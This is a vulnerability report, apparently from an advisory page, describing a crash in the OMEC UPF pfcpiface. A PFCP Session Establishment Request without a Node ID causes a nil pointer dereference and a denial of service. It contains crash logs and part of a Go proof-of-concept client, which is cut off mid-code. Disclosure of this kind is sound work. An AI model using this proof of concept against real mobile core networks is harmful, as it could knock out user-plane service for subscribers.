| Description | # Title: UPF crash on Session Establishment Request missing NodeID
# Describe the bug
When the UPF receives a PFCP Session Establishment Request that is missing the Node ID, handleSessionEstablishmentRequest directly calls IE.NodeID() on the empty IE. This results in a nil pointer dereference and causes a crash, leading to a DoS.
# Release Information
Component: UPF (pfcpiface)
Version: upf-epc-pfcpiface:2.1.3-dev
# Logs
```
2025-12-08T16:52:40.168Z INFO pfcpiface/main.go:33 setting log level to: info {"component": "UPF", "category": "Init"}
2025-12-08T16:52:40.168Z INFO logger/logger.go:59 set log level: info {"component": "UPF", "category": "Init"}
2025-12-08T16:52:40.168Z INFO pfcpiface/main.go:36 {Mode:sim AccessIface:{IfName:lo} CoreIface:{IfName:lo} CPIface:{Peers:[x.x.x.x] UseFQDN:false NodeID: HTTPPort:8080 Dnn:internet EnableUeIPAlloc:false UEIPPool:x.x.x.x/16} EnableGtpuPathMonitoring:false EnableFlowMeasure:false SimInfo:{MaxSessions:50000 StartUEIP:x.x.x.x StartENBIP:x.x.x.x StartAUPFIP:x.x.x.x N6AppIP:x.x.x.x N9AppIP:x.x.x.x StartN3TEID:0x30000000 StartN9TEID:0x90000000 UplinkMBR:500000 DownlinkMBR:1000000 UplinkGBR:50000 DownlinkGBR:100000} ConnTimeout:0 ReadTimeout:15 EnableNotifyBess:false EnableEndMarker:false NotifySockAddr: EndMarkerSockAddr: LogLevel:info QciQosConfig:[{QCI:0 CBS:50000 PBS:50000 EBS:50000 BurstDurationMs:10 SchedulingPriority:7} {QCI:9 CBS:2048 PBS:2048 EBS:2048 BurstDurationMs:0 SchedulingPriority:6} {QCI:8 CBS:2048 PBS:2048 EBS:2048 BurstDurationMs:0 SchedulingPriority:5}] SliceMeterConfig:{N6RateBps:500000000 N6BurstBytes:625000 N3RateBps:500000000 N3BurstBytes:625000} MaxReqRetries:5 RespTimeout:2s EnableHBTimer:false HeartBeatInterval: N4Addr:} {"component": "UPF", "category": "Init"}
2025-12-08T16:52:40.168Z ERROR pfcpiface/bess.go:775 SetUpfInfo bess {"component": "UPF", "category": "BESS"}
2025-12-08T16:52:40.169Z ERROR pfcpiface/bess.go:779 bessIP localhost:10514 {"component": "UPF", "category": "BESS"}
2025-12-08T16:52:40.173Z ERROR pfcpiface/bess.go:861 pdrLookup method failed with resp: error:{code:2 errmsg:"No module 'pdrLookup' found"}, err: <nil> {"component": "UPF", "category": "BESS"}
2025-12-08T16:52:40.173Z ERROR pfcpiface/bess.go:1175 farLookup method failed with resp: error:{code:2 errmsg:"No module 'farLookup' found"}, err: <nil> {"component": "UPF", "category": "BESS"}
2025-12-08T16:52:40.173Z ERROR pfcpiface/bess.go:1443 appQERLookup for qer clear failed with resp: error:{code:2 errmsg:"No module 'appQERLookup' found"}, error: <nil> {"component": "UPF", "category": "BESS"}
2025-12-08T16:52:40.174Z ERROR pfcpiface/bess.go:1443 sessionQERLookup for qer clear failed with resp: error:{code:2 errmsg:"No module 'sessionQERLookup' found"}, error: <nil> {"component": "UPF", "category": "BESS"}
2025-12-08T16:52:40.174Z INFO pfcpiface/node.go:84 listening for new PFCP connections on [::]:8805 {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:52:40.174Z INFO pfcpiface/node.go:73 Establishing PFCP Conn with CP node. SPGWC/SMF host: x.x.x.x, CP node: x.x.x.x {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:52:40.174Z INFO pfcpiface/conn.go:121 created PFCPConn from: x.x.x.x:8805 to: x.x.x.x:8805 {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:52:40.174Z INFO pfcpiface/messages_conn.go:101 association Setup with DNN: internet {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:52:52.181Z INFO pfcpiface/node.go:129 removed connection to x.x.x.x:8805 {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:52:52.181Z INFO pfcpiface/conn.go:256 shutdown complete for x.x.x.x:8805 {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:53:15.715Z INFO pfcpiface/conn.go:121 created PFCPConn from: x.x.x.x:8805 to: x.x.x.x:49112{"component": "UPF", "category": "Pfcp"}
2025-12-08T16:53:15.715Z INFO pfcpiface/messages_conn.go:101 association Setup with DNN: internet {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:53:15.715Z INFO pfcpiface/messages_conn.go:177 association Setup Request from x.x.x.x:49112 with recovery timestamp: 2025-12-08 16:53:15 +0000 UTC {"component": "UPF", "category": "Pfcp"}
2025-12-08T16:53:15.715Z INFO pfcpiface/messages_conn.go:189 association setup done between nodes local: x.x.x.x remote: x.x.x.x {"component": "UPF", "category": "Pfcp"}
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x969462]
goroutine 58 [running]:
github.com/wmnsk/go-pfcp/ie.(*IE).NodeID(0x0)
/go/pkg/mod/github.com/wmnsk/[email protected]/ie/node-id.go:78 +0x22
github.com/omec-project/upf-epc/pfcpiface.(*PFCPConn).handleSessionEstablishmentRequest(0xc00043f320, {0xdc19c0?, 0xc000255680})
/pfcpiface/pfcpiface/messages_session.go:46 +0x6a
github.com/omec-project/upf-epc/pfcpiface.(*PFCPConn).HandlePFCPMsg(0xc00043f320, {0xc0000bcba0, 0x21, 0x30})
/pfcpiface/pfcpiface/messages.go:120 +0x814
github.com/omec-project/upf-epc/pfcpiface.(*PFCPConn).Serve.func1(0xc0000ad490)
/pfcpiface/pfcpiface/conn.go:211 +0x1c5
created by github.com/omec-project/upf-epc/pfcpiface.(*PFCPConn).Serve in goroutine 57
/pfcpiface/pfcpiface/conn.go:184 +0xc9
```
# Steps to reproduce the behavior:
1. Start a new go project inside a new folder and create a main.go and paste the code below:
2. Init Project `go mod init poc`
```
package main
import (
"errors"
"flag"
"fmt"
"log"
"net"
"time"
"github.com/wmnsk/go-pfcp/ie"
"github.com/wmnsk/go-pfcp/message"
)
const (
modeSessionMissingNodeID = "session-missing-nodeid"
defaultCPSEID = 0x1111222233334444
heartbeatResponseBufferSize = 4096
defaultWaitForResponse = 5 * time.Second
defaultAssociationRetrySleep = 200 * time.Millisecond
)
type seqGenerator struct {
val uint32
}
func (g *seqGenerator) Next() uint32 {
g.val++
if g.val == 0 || g.val > 0xFFFFFF {
g.val = 1
}
return g.val
}
func forcePFCPv1(pkt []byte) {
if len(pkt) > 0 {
pkt[0] = (1 << 5) | (pkt[0] & 0x1F)
}
}
func startReceiver(conn *net.UDPConn) (chan message.Message, chan error, func()) {
msgCh := make(chan message.Message, 16)
errCh := make(chan error, 1)
stop := make(chan struct{})
go func() {
defer close(msgCh)
defer close(errCh)
buf := make([]byte, heartbeatResponseBufferSize)
for {
conn.SetReadDeadline(time.Now().Add(1 * time.Second))
n, _, err := conn.ReadFromUDP(buf)
if ne, ok := err.(net.Error); ok && ne.Timeout() {
select {
case <-stop:
return
default:
}
continue
}
if err != nil {
select {
case errCh <- err:
default:
}
return
}
payload := make([]byte, n)
copy(payload, buf[:n])
msg, err := message.Parse(payload)
if err != nil {
log.Printf("[rx] failed to parse PFCP message: %v", err)
continue
}
switch msgTyped := msg.(type) {
case *message.HeartbeatRequest:
seq := msgTyped.Sequence()
rsp := message.NewHeartbeatResponse(seq, ie.NewRecoveryTimeStamp(time.Now()))
raw, err := rsp.Marshal()
if err != nil {
log.Printf("[rx] failed to marshal Heartbeat Response: %v", err)
continue
}
forcePFCPv1(raw)
if _, err := conn.Write(raw); err != nil {
log.Printf("[rx] failed to send Heartbeat Response: %v", err)
} else {
log.Printf("[rx] ← Heartbeat Request (seq=%d) → responded", seq)
}
default:
select {
case msgCh <- msg:
log.Printf("[rx] ← %s (type=%d, seq=%d)", msg.MessageTypeName(), msg.MessageType(), msg.Sequence())
default:
log.Printf("[rx] dropping %s: channel full", msg.MessageTypeName())
}
}
select {
case <-stop:
return
default:
}
}
}()
cancel := func() {
close(stop)
}
return msgCh, errCh, cancel
}
func waitForMessage(msgCh <-chan message.Message, errCh <-chan error, timeout time.Duration, match func(message.Message) bool, description string) (message.Message, error) {
timer := time.NewTimer(timeout)
defer timer.Stop()
for {
select {
case <-timer.C:
return nil, fmt.Errorf("timeout waiting for %s", description)
case err, ok := <-errCh:
if ok && err != nil {
return nil, fmt.Errorf("receiver error: %w", err)
}
case msg, ok := <-msgCh:
if !ok {
return nil, fmt.Errorf("receiver closed while waiting for %s", description)
}
if match(msg) {
return msg, nil
}
log.Printf("[wait] ignoring unexpected message: %s (type=%d, seq=%d)", msg.MessageTypeName(), msg.MessageType(), msg.Sequence())
}
}
}
func performAssociation(conn *net.UDPConn, seqGen *seqGenerator, msgCh <-chan message.Message, errCh <-chan error, nodeID string) error {
nodeIE := ie.NewNodeID(nodeID, "", "")
if nodeIE == nil {
return errors.New("failed to build NodeID IE – ensure --bind is a valid IP or FQDN")
}
ies := []*ie.IE{
nodeIE,
ie.NewRecoveryTimeStamp(time.Now()),
ie.NewUPFunctionFeatures(0x10, 0x00, 0x00, 0x00),
ie.NewUserPlaneIPResourceInformation(0x41, 0, nodeID, "", "", ie.SrcInterfaceAccess),
}
assocSeq := seqGen.Next()
req := message.NewAssociationSetupRequest(assocSeq, ies...)
raw, err := req.Marshal()
if err != nil {
return fmt.Errorf("marshal association request: %w", err)
}
forcePFCPv1(raw)
log.Printf("[assoc] → Association Setup Request (seq=%d)", assocSeq)
if _, err := conn.Write(raw); err != nil {
return fmt.Errorf("send association request: %w", err)
}
_, err |
|---|